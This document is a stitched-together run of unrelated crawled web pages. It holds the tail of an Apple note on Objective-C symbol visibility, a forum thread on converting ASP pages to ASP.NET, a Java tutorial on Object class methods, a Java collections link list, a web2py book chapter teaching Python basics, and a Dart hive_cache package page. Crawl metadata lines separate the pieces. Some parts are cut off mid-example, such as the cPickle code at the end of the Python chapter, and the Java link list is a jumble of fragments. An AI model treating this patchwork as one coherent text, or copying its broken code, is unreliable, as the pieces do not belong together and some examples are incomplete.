strict superset of C++. This means that all of the discussion regarding symbol visibility in C and C++ applies to Objective-C and Objective-C++ too. You can use the compiler flags, visibility attributes, and the visibility pragma to hide C and C++ code in your Objective-C code files. However, these visibility controls apply only to the C or C++ subset of your code. They do not apply to Objective-C classes and methods. Objective-C class and message names are bound by the Objective-C runtime, not by the linker, so the notion of visibility does not apply to them. There is no mechanism for hiding an Objective-C class defined in a dynamic library from the clients of that library. Last updated: 2006-06-28
http://developer.apple.com/documentation/DeveloperTools/Conceptual/CppRuntimeEnv/Articles/SymbolVisibility.html
crawl-002
refinedweb
1,712
51.78
Results 1 to 4 of 4 Thread: Can you mix ASP and .NET pages? - Join Date - Mar 2010 - 17 - Thanks - 0 - Thanked 0 Times in 0 Posts Can you mix ASP and .NET pages? I am working on a mobile site that uses .aspx for the pages; however, I am transferring information from older .asp pages. These .asp pages are reading database connections, and I am not clear how to convert these into .aspx pages without running into config errors that are unclear to me in fixing. Is it bad practice to mix .asp and .aspx pages in a site? If not, how can I learn to better understand the conversion differences from .asp database connections to .aspx? This is the only obstacle I have going on at the moment with this site, and I would love to find a solution soon as I've been stuck here for a while. I do want to follow best practice. The site works, but I would like to be consistent with the .aspx set up in pages. I appreciate any help you may have to offer, thank you. - Join Date - Apr 2009 - 244 - Thanks - 1 - Thanked 20 Times in 20 Posts Hey creativeedg10, As Chris Rock once said: "You can drive a car with your feet, but it doesn't mean it's to be done." I am pretty sure there are some workarounds out there, but ask yourself, do you really want to go that route? I will tell you one thing. In my opinion (and I don't think anyone would disagree), the fact that you already know legacy ASP is definitely an advantage to you in terms of leaning .NET. Just go through some tutorials (plenty out there, just Google it) Regards, Mike - Join Date - Apr 2003 - Location - England - 1,192 - Thanks - 5 - Thanked 13 Times in 13 Posts etc In general you will be using Microsoft SQL Server for a DBMS with ASP.NET rather than OLE, so you would be using the System.Data.SqlClient namespace. The typical differences are that ASP.NET provides mechanisms for data binding (so you can say here is a grid to display data, and here is the data to fill it with, go fill it for me) and another common stumbling block is that you can only have a single result set open at a time, unless you use MARS (assume you don't when writing). This means you don't nest queries and result sets as you might in asp. You can also define your connection string in web.config and not have to compile it into your source. If you don't use data binding for a particular task, you will commonly be using an SqlConnection and SqlCommand with SqlCommand.ExecuteReader or SqlCommand.ExecuteNonQuery. These are quite similar to how you would use ado in asp. Best practice is likely to be data bind where possible. - Join Date - Mar 2010 - 17 - Thanks - 0 - Thanked 0 Times in 0 Posts Thank you all for your insight and help. I am converting over to ASP.NET, got the connections to work, and so far things are coming along pretty good. I am experiencing a learning curve, but I'm willing to learn it too; so it's going well
https://www.codingforums.com/asp-net/224925-can-you-mix-asp-net-pages.html
CC-MAIN-2017-47
refinedweb
548
81.02
BBC micro:bit PiGlow SN3218 Introduction The PiGlow is a Raspberry Pi accessory made by Pimoroni. There are 18 LEDs on the PCB, arranged in a 3 arm spiral. The LEDs are driven by an SN3218 integrated circuit which works with the i2c protocol. The LEDs are single colour but arranged in a rainbow order that allows for some lovely effects. Here is the PiGlow mounted on a 4Tronix Bit:2:Pi. This is at pretty low brightness to give you a chance of making out the pattern of the LEDs. This board glows very brightly. The PiGlow is pretty small but packs quite a punch. When you are writing programs for this, set the brightness low or you'll be seeing spots for a while. It costs £9. It's a board that has been around for a few years so there are a lot of people who have posted code and projects using it with the Raspberry Pi. It's a nice board for making lighting effects with and can be used as an indicator in other projects. Circuit The easiest way to connect this board to the micro:bit is with the Bit:2:Pi. You just place it in at the leftmost end of the GPIO as you face the micro:bit. You could happily connect this directly but you should use a separate power supply for the LEDs. Since we are using i2c, we need the following connections, Programming There are a lot of links from the product page to Python and other code for controlling and using the PiGlow. If you follow the link to the Pimoroni library and look at the source, you will find that the PiGlow library depends on an SN3218 library. The base library deals with the i2c communication, the PiGlow library provides mapping and utility functions that make sense for the particular pattern of LEDs on the board. In order to save memory, I had to ditch the precalculated gamma correction table. I replaced it with a method in the class that does the calculation on demand. This is slower but does work. If you take the gamma correction away, you will notice a difference in the way that the lights behave when you fade in and out. from microbit import * class piglow: def __init__(self): self.ADDRESS = 0x54 self.reset() self.enable() self.enable_leds(0x3FFFF) self.buffer = [0]*18 self.output() self.ledmap = [6, 7, 8, 5, 4, 9, 17, 16, 15, 13, 11, 10, 0, 1, 2, 3, 14, 12] def enable(self): i2c.write(self.ADDRESS,bytes([0x00,0x01]),repeat=False) def disable(self): i2c.write(self.ADDRESS,bytes([0x00,0x00]),repeat=False) def reset(self): i2c.write(self.ADDRESS,bytes([0x17,0xFF]),repeat=False) def update(self): i2c.write(self.ADDRESS,bytes([0x16,0xFF]),repeat=False) def enable_leds(self, mask): data = bytes([0x13,mask&0x3F,(mask >> 6) & 0x3F, (mask >> 12) & 0X3F]) i2c.write(self.ADDRESS,data,repeat=False) self.update() def output(self): data = bytes([0x01] + self.buffer) i2c.write(self.ADDRESS,data,repeat=False) self.update() def fill(self, value): self.buffer = [self.gamma(value)]*18 self.output() def gamma(self, value): return int(pow(255, float(value - 1) / 255)) def set_led(self,led,value): self.buffer[self.ledmap[led]] = value # 0 - 5: roygbw def set_colour(self,colour, value): self.fill(0) for i in range(3): self.set_led(colour + i*6,value) self.output() p = piglow() for i in range(6): p.set_colour(i,255) sleep(500) p.fill(0) sleep(500) for i in range(18): p.set_led(i,128) p.output() sleep(500) sleep(500) # mask to enable first led only m = 1 for i in range(18): p.enable_leds(m) sleep(50) # enable the next led m = (m<<1) + 1 while True: for i in range(255): p.fill(i) sleep(5) for i in range(255,-1,-1): p.fill(i) sleep(5) The part you want to explore in the code is everything that follows the class. Here, I have turned each colour on and off individually, turned the lights on in order of the mapping, enabled them one by one according to their connection, and faded them all in and out. Challenges It's either all about the lighting and animation effects or it's an indicator to tell you that something has happened or to show you the state of a component. Whether it's a fancy mood lamp you are making or some sort of notification, this is a board that needs you to sit and play for a while with the patterns and the numbers. There are lots of different boards that have arrangements of LEDs. Each time you have a go on one of them, try to come up with a new lighting effect.
http://multiwingspan.co.uk/micro.php?page=piglow
CC-MAIN-2018-22
refinedweb
801
74.39
Listen to this article Today we're happy to announce the availability of Heroku Scheduler. Scheduler is an add-on for running administrative or maintenance tasks, or jobs, at scheduled time intervals. It's the polyglot replacement of the Cron add-on, with more power and flexibility. And it's free; you just pay for the dyno time consumed by the one-off tasks. A dashboard allows you to configure jobs to run every 10 minutes, every hour, or every day, and unlike the Cron add-on, you can control when. E.g. Every hour on the half-hour, or every day at 7:00am. Polyglot Tasks Tasks are any command that can be run in your application or even the Unix shell. If you're using Python with the popular Fabric automation tool, you can define a fab clean_sessions task: from fabric.api import task @task def clean_sessions(): url = urlparse(os.environ.get('REDISTOGO_URL')) db = redis.Redis(host=url.hostname, port=url.port, password=url.password) db.delete('myapp:sessions') print 'done.' For apps built on other frameworks or languages, another convention is to add a script to bin/ that will perform the task. E.g. bin/updater. Scheduling Jobs To schedule a frequency and time for a job, open the scheduler dashboard by finding the app in My Apps, clicking "General Info", then selecting "Scheduler" from the Add-ons dropdown. On the Scheduler Dashboard, click "Add Job...", enter a task, select a frequency and next run time. For example, add rake update_feed, select "Hourly" and ":30" to update feeds every hour on the half-hour. Then add rake send_reminders, select "Daily" and "00:00" to send reminders every day at midnight. Migrating From the Cron Add-on Existing Cron add-on users should migrate to Heroku Scheduler as soon as possible. It has more functionality, is easier to use, and is free. Cron is restricted to running a single command, rake cron and does not provide control over when daily and hourly tasks are run. Scheduler can do everything the Cron add-on does, and more. If you want your new jobs to be scheduled as close as possible to when your Cron jobs would run, go to the Cron dashboard and look at the "Scheduled for" information. Then in the Scheduler dashboard, create a new task, set it to be either hourly or daily, and then set the Next Run field to the selection closest to the previous scheduled time. Set the task to rake cron.
https://blog.heroku.com/heroku_scheduler_add_on_now_available
CC-MAIN-2020-40
refinedweb
419
63.7
04 May 2010 10:23 [Source: ICIS news] LONDON (ICIS news)--The Linde Group’s first-quarter net profit increased 72% year on year to €198m due to a significant increase in sales and continuing demand from emerging economies in the global gases market, the company said on Tuesday. The German technology company said sales rose 7.4% to €2.89bn in the three months to 31 March from €2.70bn a year earlier. After adjusting for exchange rate effects, the increase in sales was 3.9%, it said. Earnings before taxes on income rose 67% to €283m from €170m in the first three months of 2009, according to a company statement. "It looks as if the worst is behind us. Towards the end of the first quarter in particular, we noticed a marked revival in demand," Linde’s CEO, Wolfgang Reitzle, said. Reitzle said the company still expected to achieve higher sales and earnings in 2010 compared with last year, as it predicted. Adjusted operating profit grew at a faster rate than sales, by 19.1% to €641m from €538m in 2009. Reitzle said achieving a faster rate of growth in operating profit than in sales remained its goal, and that measures taken to ensure sustainable productivity improvements would help to achieve this. Operating margin increased from 20.0% to 22.1%. Restructuring costs of €20m were recognised in the first quarter of 2009, the company said. Gases division sales in the first quarter rose 8.5% year on year to €2.34bn, while?xml:namespace> o on a comparable basis sales increased by 3.9% after adjusting for exchange rate effects, changes in the natural gas price and changes to group structure, Linde said. The gases unit's operating profit improved by 14.5% year-on-year to €625m and Linde expected the division to further increase its sales and earnings in 2010, it said. In its international plant construction business, Linde said it experienced a slight increase in demand in the four major product segments of olefin plants, natural gas plants, air separation plants, and hydrogen and synthesis gas plants, which had a positive impact on order intake in the engineering division. Total incoming orders in the first quarter nearly doubled to €502m from €285m in the year-earlier period and the order backlog of €4.28bn at 31 March provided a good basis for a stable business performance over the next two years, the company said. Linde said it expected growth in investment in the international construction of large-scale plants to come primarily from ?xml:namespace> However, given continuing economic uncertainty, it was still likely that the award of some projects would be postponed, it said. Linde said it expected engineering division sales in 2010 to be at least at the same level as in 2009, while its operating margin target remained at 8%. At 08:00 GMT, Linde shares were trading at €89.6, down 2.1 pence or 2.3% from the previous close of €91.7.
http://www.icis.com/Articles/2010/05/04/9355816/lindes-q1-net-profit-rises-72-to-198m-on-improved-sales.html
CC-MAIN-2014-49
refinedweb
504
65.32
Post your Comment Get Column Value Using Collection Classes Get Column Value Using Collection Classes... illustrates how to retrieve data from mysql table using HashSet class. The HashSet... of the set. In this example we are using the java.util package to extends this class Collection classes in java is the reason using java collection classes saved/stored the data/content.I don't understand, what is the idea using java collection classes in project...Collection classes in java Normally a database is used Hibernate Collection Mapping the persistent collection-value fields. Hibernate injects the persistent collections based... of collection in Hibernate. To create an example I am using List. A list stores...;Hibernate Collection Mapping Example Using XML "); Session session Collection Collection What is the exact difference between lagacy classes and collection classes? and Enumeration is possible on Collection classes SQL add column default value SQL add column default value Add a Column default value is used in SQL, When create... to the column ,when no value is inserted to the column . Understand Find Value of Column Find Value of Column  ... the column of an excel sheet using POI3.0 API Event...(): This method is used to get the column from cell defines within the row.  collection , Hashtable and Collections and Collection? Enumeration : It is series... : It is re-sizable array implementation. Belongs to 'List' group in collection... : It maps key to value. We can use non-null value for key or value. It is part of group SQL add column default value column default value .In this, we create a table Stu_Table using create... SQL add column default value Add a Column default value is used in SQL, When SQL Alter Column Default Value SQL Alter Column Default Value Alter Column Default Value in SQL Server is used... column. The use of default value is specified when insert is performed SQL Alter Column Default Value SQL Alter Column Default Value Alter Column Default Value in SQL Server... specified column. The use of default value is specified when insert collection collection can you pass object reference as key , value Column select Column select How i fetch Experience wise resume? Create a column experience which consist of only two values either yes or no. Then using the query select * from resumes where experience='yes', fetch all the data Introduction to Collection Algorithms Introduction to Collection Algorithms Algorithms: The Collections and Arrays classes... and TreeMap classes offers a sorted version of sets and maps, there is no sorted greatest of 3 numbers using classes and functions. greatest of 3 numbers using classes and functions. WAP to calculate greatest of 3 numbers using classes and functions with parameters through input..._VALUE; System.out.println("Enter 3 numbers:"); Scanner input Java collection -Hashtable Java collection -Hashtable What is Hashtable in java collection? Java collection -Hashtable;- The hashtable is used to store value in the form of map key with value. import java.util.Hashtable; import insert data 50 row *column into 300 row *column by using xls sheet data (50 row *column) are given in xls sheet insert data 50 row *column into 300 row *column by using xls sheet data (50 row *column) are given in xls sheet 1- there are matrix of data... column that have different field value,that are given in xls sheet saving form bean with Array of objects (collection) - Struts saving form bean with Array of objects (collection) Hi all... into action class, the array i get from form is NULL..:( Let me explain. There are Two action classes, one action form and a JSP page. 1.DisplayAction.java Pattern,Matcher,Formatter and Scanner classes using the Formatter and Scanner classes and the PrintWriter.format/printf... token in this scanner's // input can be interpreted as a boolean value using...Pattern,Matcher,Formatter and Scanner classes This section Describes : 1 Delete a column Delete a column In this section, you will learn how to delete a column from database table using jpa. You need the following artifacts: Database table: student Model Wrapper Classes further. Wrapper Classes are used broadly with Collection classes... Wrapper Classes In this section you will learn about Wrapper classes and all the methods Java HashSet Collection problem ;Prac>(); So, while adding the object of Prac using add method of hashset, it get...Java HashSet Collection problem Here's how the HashSet works.... equals always returns false and hashcode always returns a single value say 5 Java collection HashSet and TreeSet Java collection HashSet and TreeSet How can we used HashSet...("A"); //A is a duplicate value System.out.println("Set is " + set1... two subclasses HashSet and TreeSet. Now using the add() method, we have added Collection of Large Number of Java Sample Programs and Tutorials Collection of Large Number of Java Sample Programs and Tutorials Java Collection Examples Java 6.0 New Features (Collection Framework... ArrayLists, LinkedLists, HashSets, etc. A collection Add new column to table using DBCP Setting the Column Header in JTable how to set the column headers in JTable using JTableHeader. Java provides some... some data in row and column format by using the JTable constructor. This table... Setting the Column Header in JTable   MySQL Add Column MySQL Add Column MySQL Add Column tutorial explains you to add the column to the existing table. The table structure can be changed using 'Alter table' query. You can now Collection framework Collection framework what are the real life examples of using Collection in java Post your Comment
http://www.roseindia.net/discussion/24178-Get-Column-Value-Using--Collection-Classes.html
CC-MAIN-2016-07
refinedweb
915
56.86
All classes extend the Object class, either directly or indirectly. A class declaration, without the extends clause, implicitly extends the Object class (see Section 6.1, p. 226). Thus, the Object class is always at the top of any inheritance hierarchy. The Object class defines the basic functionality that all objects exhibit and that all classes inherit. Note that this also applies for arrays, since these are genuine objects in Java. The Object class provides the following general utility methods (see Example 10.1 for usage of some of these methods): int hashCode() When storing objects in hash tables, this method can be used to get a hash value for an object. This value is guaranteed to be consistent during the execution of the program. For a detailed discussion of the hashCode() method, see Section 11.7 on page 461. boolean equals(Object obj) Object reference and value equality are discussed together with the == and != operators (see Section 3.10, p. 68). The equals() method in the Object class returns true only if the two references compared denote the same object. The equals() method is usually overridden to provide the semantics of object value equality, as is the case for the wrapper classes and the String class. For a detailed discussion of the equals() method, see Section 11.7 on page 461. final Class getClass() Returns the runtime class of the object, which is represented by an object of the class java.lang.Class at runtime. protected Object clone() throws CloneNotSupportedException New objects that are exactly the same (i.e., have identical states) as the current object can be created by using the clone() method, that is, primitive values and reference values are copied. This is called shallow copying. A class can override this method to provide its own notion of cloning. For example, cloning a composite object by recursively cloning the constituent objects is called deep copying. When overridden, the method in the subclass is usually declared public to allow any client to clone objects of the class. If the overriding clone() method relies on the clone() method in the Object class, then the subclass must implement the Cloneable marker interface to indicate that its objects can be safely cloned. Otherwise, the clone() method in the Object class will throw a checked CloneNotSupportedException. String toString() If a subclass does not override this method, it returns a textual representation of the object, which has the following format: "<name of the class>@<hash code value of object>" This method is usually overridden and used for debugging purposes. The method call System.out.println(objRef) will implicitly convert its argument to a textual representation using the toString() method. See also the binary string concatenation operator +, discussed in Section 3.6 on page 62. protected void finalize() throws Throwable This method is discussed in connection with garbage collection (see Section 8.1, p. 324). It is called on an object just before it is garbage collected, so that any cleaning up can be done. However, the default finalize() method in the Object class does not do anything useful. In addition, the Object class provides support for thread communication in synchronized code, through the following methods, which are discussed in Section 9.5 on page 370: final void wait(long timeout) throws InterruptedException final void wait(long timeout, int nanos) throws InterruptedException final void wait() throws InterruptedException final void notify() final void notifyAll() A thread invokes these method on the object whose lock it holds. A thread waits for notification by another thread. public class ObjectMethods { public static void main(String[] args) { // Two objects of MyClass. MyClass obj1 = new MyClass(); MyClass obj2 = new MyClass(); // Two strings. String str1 = new String("WhoAmI"); String str2 = new String("WhoAmI"); // Method hashCode() overridden in String class. // Strings with same content (i.e., are equal) have the same hash code. System.out.println("hash code for str1: " + str1.hashCode()); System.out.println("hash code for str2: " + str2.hashCode() + "\n"); // Hash codes are different for different MyClass objects. System.out.println("hash code for MyClass obj1: " + obj1.hashCode()); System.out.println("hash code for MyClass obj2: " + obj2.hashCode()+"\n"); // Method equals() overridden in the String class. System.out.println("str1.equals(str2): " + str1.equals(str2)); System.out.println("str1 == str2 : " + (str1 == str2) + "\n"); // Method equals() from the Object class called. System.out.println("obj1.equals(obj2): " + obj1.equals(obj2)); System.out.println("obj1 == obj2 : " + (obj1 == obj2) + "\n"); // The runtime object that represents the class of an object. Class rtStringClass = str1.getClass(); Class rtMyClassClass = obj1.getClass(); // The name of the class represented by the runtime object. System.out.println("Class for str1: " + rtStringClass); System.out.println("Class for obj1: " + rtMyClassClass + "\n"); // The toString() method is overridden in the String class. String textRepStr = str1.toString(); String textRepObj = obj1.toString(); System.out.println("Text representation of str1: " + textRepStr); System.out.println("Text representation of obj1: " + textRepObj + "\n"); // Shallow copying of arrays. MyClass[] array1 = {new MyClass(), new MyClass(), new MyClass()}; MyClass[] array2 = (MyClass[]) array1.clone(); // Cast required. // Array objects are different, but share the element objects. System.out.println("array1 == array2 : " + (array1 == array2)); for(int i = 0; i < array1.length; i++) { System.out.println("array1[" + i + "] == array2[" + i + "] : " + (array1[i] == array2[i])); } System.out.println(); // Clone an object of MyClass. MyClass obj3 = (MyClass) obj1.clone(); System.out.println("hash code for MyClass obj3: " + obj3.hashCode()); System.out.println("obj1 == obj3 : " + (obj1 == obj3)); } } class MyClass implements Cloneable { public Object clone() { Object obj = null; try { obj = super.clone();} // Calls overridden method. catch (CloneNotSupportedException e) { System.out.println(e);} return obj; } } Output from the program: hash code for str1: -1704812257 hash code for str2: -1704812257 hash code for MyClass obj1: 24216257 hash code for MyClass obj2: 20929799 str1.equals(str2): true str1 == str2 : false obj1.equals(obj2): false obj1 == obj2 : false Class for str1: class java.lang.String Class for obj1: class MyClass Text representation of str1: WhoAmI Text representation of obj1: MyClass@17182c1 array1 == array2 : false array1[0] == array2[0] : true array1[1] == array2[1] : true array1[2] == array2[2] : true hash code for MyClass obj3: 16032330 obj1 == obj3 : false
http://etutorials.org/cert/java+certification/Chapter+10.+Fundamental+Classes/10.2+The+Object+Class/
CC-MAIN-2018-30
refinedweb
1,014
50.84
Chapter 2: The Python language The Python language About Python Python is a general-purpose high-level programming language. Its design philosophy emphasizes programmer productivity and code readability. It has a minimalist core syntax with very few basic commands and simple semantics, but it also has a large and comprehensive standard library, including an Application Programming Interface (API) list), tuples ( tuple), hash tables ( dict), and arbitrarily long integers ( long). Python supports multiple programming paradigms, including object-oriented ( class), imperative ( def), and functional ( lambda) programming. Python has a dynamic type system and automatic memory management using reference counting (similar to Perl, Ruby, and Scheme). Python was first released by Guido van Rossum in 1991. The language has an open, community-based development model managed by the non-profit Python Software Foundation. There are many interpreters and compilers that implement the Python language, including one in Java (Jython) but, in this brief review, we refer to the reference C implementation created by Guido. You can find many tutorials, the official documentation and library references of the language on the official Python website.[python] For additional Python references, we can recommend the books in ref.[guido] and ref.[lutz] . You may skip this chapter if you are already familiar with the Python language. Starting up The binary distributions of web2py for Microsoft Windows or Apple OS X come packaged with the Python 2.7 interpreter built into the distribution file itself. You can start it on Windows with the following command (type at the DOS prompt):.7 or Python 3.5+ already installed, you will have to download and install it before running web2py from source. The -S welcome command line option instructs web2py to run the interactive shell as if the commands were executed in a controller for the welcome application, the web2py scaffolding application. This exposes almost all web2py classes, objects and functions to you. This is the only difference between the web2py interactive command line and the normal Python command line. The admin interface also provides a web-based shell for each application. You can access the one for the "welcome" application at. You can try all the examples in this chapter using the normal shell or the web-based shell. help, dir The Python language provides two commands to obtain documentation about objects defined in the current scope, both built-in and user-defined. We can ask for help about an object, for example "1": >>> help(1) Help on int object: class int(object) | int(x=0) -> int or long | int(x, base=10) -> int or long | | Convert a number or string to an integer, or return 0 if no arguments | are given. If x is floating point, the conversion truncates towards zero. | If x is outside the integer range, the function returns a long instead. | | If x is not a number or if base is given, then x must be a string or | Unicode object representing an integer literal in the given base. The | literal can be preceded by '+' or '-' and be surrounded by whitespace. | The base defaults to 10. Valid bases are 0 and 2-36. Base 0 means to | interpret the base from the string as an integer literal. | >>> int('0b100', base=0) | 4 | | Methods defined here: | | __abs__(...) | x.__abs__() <==> abs'> Python also includes, natively, data structures such as lists and dictionaries. str Python supports the use of two different types of strings: ASCII strings and Unicode strings. ASCII strings are delimited by '...', "..." or by '..' or """...""". Triple quotes delimit multiline strings. Unicode strings start with a u followed by the string containing Unicode characters. A Unicode string can be converted into an ASCII string by choosing an encoding for example: >>>>> user-defined classes, str and repr can be defined/redefined using the special operators __str__ and __repr__. These are briefly described later on; for more, refer to the official Python documentation[pydocs] . repr always has a default value. Another important characteristic of a Python string is that, like a list, it is an iterable object. >>> Keys can be of any hashable type (int, string, or any object whose class implements the __hash__ method). Values can be of any type. Different keys and values in the same dictionary do not have to be of the same type. If the keys are alphanumeric characters, a dictionary can also be declared with the alternative syntax: >>> There is also a keyword range(a, b, c) that returns a list of integers starting with the value a, incrementing by c, and ending with the last value smaller than b, a defaults to 0 and c defaults to 1. xrange is similar but does not actually generate the list, only an iterator over the list; thus it is better for looping. You can jump out of a loop using break >>>' ... 0 or 1 0 or 1 try...except...else...finally >>> try: ... a = 1 / 0 ... except Exception as e: ... print 'oops: %s' % e ... else: ... print 'no problem here' ... finally: ... print 'done' ... oops: integer division or modulo by zero done If the exception is raised, it is caught by the except clause, which is executed, while the else clause is not. If no exception is raised, the except clause is not executed, but the else one is. The finally clause is always executed. There can be multiple except clauses for different possible exceptions: >>> try: ... raise TypeError() ... except ValueError: ... print 'value error' ... except Exception: ... print 'generic error' ... generic error The else and finally clauses are optional. Here is a list of built-in Python exceptions + HTTP (defined by web2py) BaseException +-- SystemExit +-- KeyboardInterrupt +-- GeneratorExit +-- Exception +-- HTTP (defined by web2py) +-- For a detailed description of each of them, refer to the official Python documentation. web2py exposes only one new exception, called HTTP. When raised, it causes the program to return an HTTP error page (for more on this refer to Chapter 4). Any object can be raised as an exception, but it is good practice to raise objects that extend one of the built-in exception classes. def...return Functions are declared using def. Here is a typical Python function: >>> def f(a, b): ... return a + b ... >>> print f(4, 2) 6 There is no need (or way) to specify types of the arguments or the return type(s). In this example, a function f is defined that can take two arguments. Functions are the first code syntax feature described in this chapter to introduce the concept of scope, or namespace. In the above example, the identifiers a and b are undefined outside of the scope of function f: >>> def f(a): ... return a + 1 ... >>> print f(1) 2 >>> print a Traceback (most recent call last): File "<stdin>", line 1, in <module> If a is modified, subsequent function calls will use the new value of the global a because the function definition binds the storage location of the identifier a, not the value of a itself at the time of function declaration; however, if a is assigned-to inside function g, the global a is unaffected because the new local a hides the global value. The external-scope reference can be used in the creation of closures: >>>'} Here arguments not passed by name (3, 'hello') are stored in the tuple a, and arguments passed by name ( c and test) are stored in the dictionary b. In the opposite case, a list or tuple can be passed to a function that requires individual positional arguments by unpacking them: >>> The expression " lambda [a]:[b]" literally reads as "a function with arguments [a] that returns [b]". The lambda expression is itself unnamed, but the function acquires a name by being assigned to identifier a. The scoping rules for def apply to lambda equally, and in fact the code above, with respect to a, is identical to the function declaration using def: >>>] This code would have doubled in size had def been used instead of lambda. The main drawback of lambda is that (in the Python implementation) the syntax allows only for a single expression; however, for longer functions, def can be used and the extra cost of providing a function name decreases as the length of the function grows. Just like def, lambda can be used to curry functions: new functions can be created by wrapping existing functions such that the new function carries a different set of arguments: >>> The output is always the same, but the first time cache.ram is called, isprime is called; the second time it is not. Python functions, created with either defor lambdaallow re-factoring existing functions in terms of a different set of arguments. cache.ramand cache.diskare web2py caching functions. class Because Python is dynamically typed, Python classes and objects may seem odd. In fact, you do not need to define the member variables (attributes) when declaring a class, and different instances of the same class can have different attributes. Attributes are generally associated with the instance, not the class (except when declared as "class attributes", which is the same as "static member variables" in C++/Java). Here is an example: >>> class MyClass(object): pass >>> myinstance = MyClass() >>> myinstance.myvariable = 3 >>> print myinstance.myvariable 3 Notice that pass is a do-nothing command. In this case it is used to define a class MyClass that contains nothing. MyClass() calls the constructor of the class (in this case the default constructor) and returns an object, an instance of the class. The (object) in the class definition indicates that our class extends the built-in object class. This is not required, but it is good practice. Here is a more complex class: >>> class MyClass(object): ... z = 2 ... def __init__(self, a, b): ... self.x = a ... self.y = b ... def add(self): ... return self.x + self.y + self.z ... >>> myinstance = MyClass(3, 4) >>> print myinstance.add() 9 Functions declared inside the class are methods. Some methods have special reserved names. For example, __init__ is the constructor. All variables are local variables of the method except variables declared outside methods. For example, z is a class variable, equivalent to a C++ static member variable that holds the same value for all instances of the class. Notice that __init__ takes 3 arguments and add takes one, and yet we call them with 2 and 0 arguments respectively. The first argument represents, by convention, the local name used inside the method to refer to the current object. Here we use self to refer to the current object, but we could have used any other name. self plays the same role as *this in C++ or this in Java, but self is not a reserved keyword. This syntax is necessary to avoid ambiguity when declaring nested classes, such as a class that is local to a method inside another class. Special attributes, methods and operators Class attributes, methods, and operators starting with a double underscore are usually intended to be private (i.e. to be used internally but not exposed outside the class) although this is a convention that is not enforced by the interpreter. Some of them are reserved keywords and have a special meaning. Here, as an example, are three of them: __len__ __getitem__ __setitem__ They can be used, for example, to create a container object that acts like a list: >>>] Other special operators include __getattr__ and __setattr__, which define the get and set attributes for the class, and __sum__ and __sub__, which overload arithmetic operators. For the use of these operators we refer the reader to more advanced books on this topic. We have already mentioned the special operators __str__ and __repr__. File input/output In Python you can open and write in a file with: >>> file = open('myfile.txt', 'w') >>> file.write('hello world') >>> file.close() Similarly, you can read back from the file with: >>> file = open('myfile.txt', 'r') >>> print file.read() hello world Alternatively, you can read in binary mode with "rb", write in binary mode with "wb", and open the file in append mode "a", using standard C notation. The read command takes an optional argument, which is the number of bytes. You can also jump to any location in a file using seek. You can read back from the file with read >>> print file.seek(6) >>> print file.read() world and you can close the file with: >>> file.close() In the standard distribution of Python, which is known as CPython, variables are reference-counted, including those holding file handles, so CPython knows that when the reference count of an open file handle decreases to zero, the file may be closed and the variable disposed. However, in other implementations of Python such as PyPy, garbage collection is used instead of reference counting, and this means that it is possible that there may accumulate too many open file handles at one time, resulting in an error before the gc has a chance to close and dispose of them all. Therefore it is best to explicitly close file handles when they are no longer needed. web2py provides two helper functions, read_file() and write_file() inside the gluon.fileutils namespace that encapsulate the file access and ensure that the file handles being used are properly closed. When using web2py, you do not know where the current directory is, because it depends on how web2py is configured. The variable request.foldercontains the path to the current application. Paths can be concatenated with the command os.path.join, discussed below. exec, eval Unlike Java, Python is a truly interpreted language. This means it has the ability to execute Python statements stored in strings. For example: >>>>> Here the interpreter, when executing the string a, sees the symbols defined in c ( b in the example), but does not see c or a themselves. This is different than a restricted environment, since exec does not limit what the inner code can do; it just defines the set of variables visible to the code. A related function is eval, which works very much like exec except that it expects the argument to evaluate to a value, and it returns that value. >>>>> (discouraged): >>> from random import * >>> print randint(0, 9) or import everything in a newly defined namespace: >>> import random as myrand >>> print myrand.randint(0, 9) In the rest of this book, we will mainly use objects defined in modules os, sys, datetime, time and cPickle. All of the web2py objects are accessible via a module called gluon, and that is the subject of later chapters. Internally, web2py uses many Python modules (for example thread), but you rarely need to access them directly. In the following subsections we consider those modules that are most useful. os This module provides an interface to the operating system API. For example: >>>: >>> print os.environ which is a read-only dictionary. sys The sys module contains many variables and functions, but the one we use the most is sys.path. It contains a list of paths where Python searches for modules. When we try to import a module, Python looks for it in all the folders listed in sys.path. If you install additional modules in some location and want Python to find them, you need to append the path to that location to sys.path. >>> Refer to the Python documentation for conversion functions between time in seconds and time as a datetime. cPickle This is a very powerful module. It provides functions that can serialize almost any Python object, including self-referential objects. For example, let's build a weird object: >>>'))
http://web2py.com/books/default/chapter/29/2
CC-MAIN-2020-24
refinedweb
2,575
63.49
hive_cache 0.1.3 hive_cache #.3] - 2019-10-26 - Fix minor issues. [0.1.2] - 2019-10-26 - Fix minor issues. [0.1.1] - 2019-10-26 - Add getChildrenOfTypemethod. [0.1.0] - 2019-10-17 HiveCachenow works the other way around - items depend on their parents. So now, there are put(key, parent, value), get(key), setRootKeys(keys)and getRootKeys(). [0.0.1] - 2019-10-16 HiveCachesupports put(key, value), get(key), putChildren(key, children), getChildren(key), putRootChildren(children)and getRootChildren(). import 'package:hive/hive.dart'; import 'package:hive_cache/hive_cache.dart'; void main() async { await Hive.init('.'); final cache = HiveCache(); await cache.initialize(); await cache.setRootKeys(['fruits', 'nuts']); await cache.put('apple', 'fruits', 2); await cache.put('other', 'fruits', 3); await cache.put('some', 'fruits', 'string'); print(await cache.getChildrenOfType<int>('fruits')); print(await cache.getChildrenOfType<String>('fruits')); } Use this package as a library 1. Depend on it Add this to your package's pubspec.yaml file: dependencies: hive_cache: :hive_cache/hive_cache.dart'; We analyzed this package on Nov 11, 2019, and provided a score, details, and suggestions below. Analysis was completed with status completed using: - Dart: 2.6.0 - pana: 0.12.21 Platforms Detected platforms: Flutter, web, other No platform restriction found in primary library package:hive_cache/hive_cache.dart. Health issues and suggestions Document public APIs. (-1 points) 11 out of 11 API elements have no dartdoc comment.Providing good documentation for libraries, classes, functions, and other API elements improves code readability and helps developers find and use your API. Fix lib/hive_cache.dart. (-1 points) Analysis of lib/hive_cache.dart reported 2 hints: line 55 col 5: Future results in async function bodies must be awaited or marked unawaited using package:pedantic. line 56 col 5: Future results in async function bodies must be awaited or marked unawaited using package:pedantic. Maintenance suggestions The package description is too short. (-20 points) Add more detail to the description field of pubspec.yaml. Use 60 to 180 characters to describe the package, what it does, and its target use case.
https://pub.dev/packages/hive_cache
CC-MAIN-2019-47
refinedweb
340
62.75
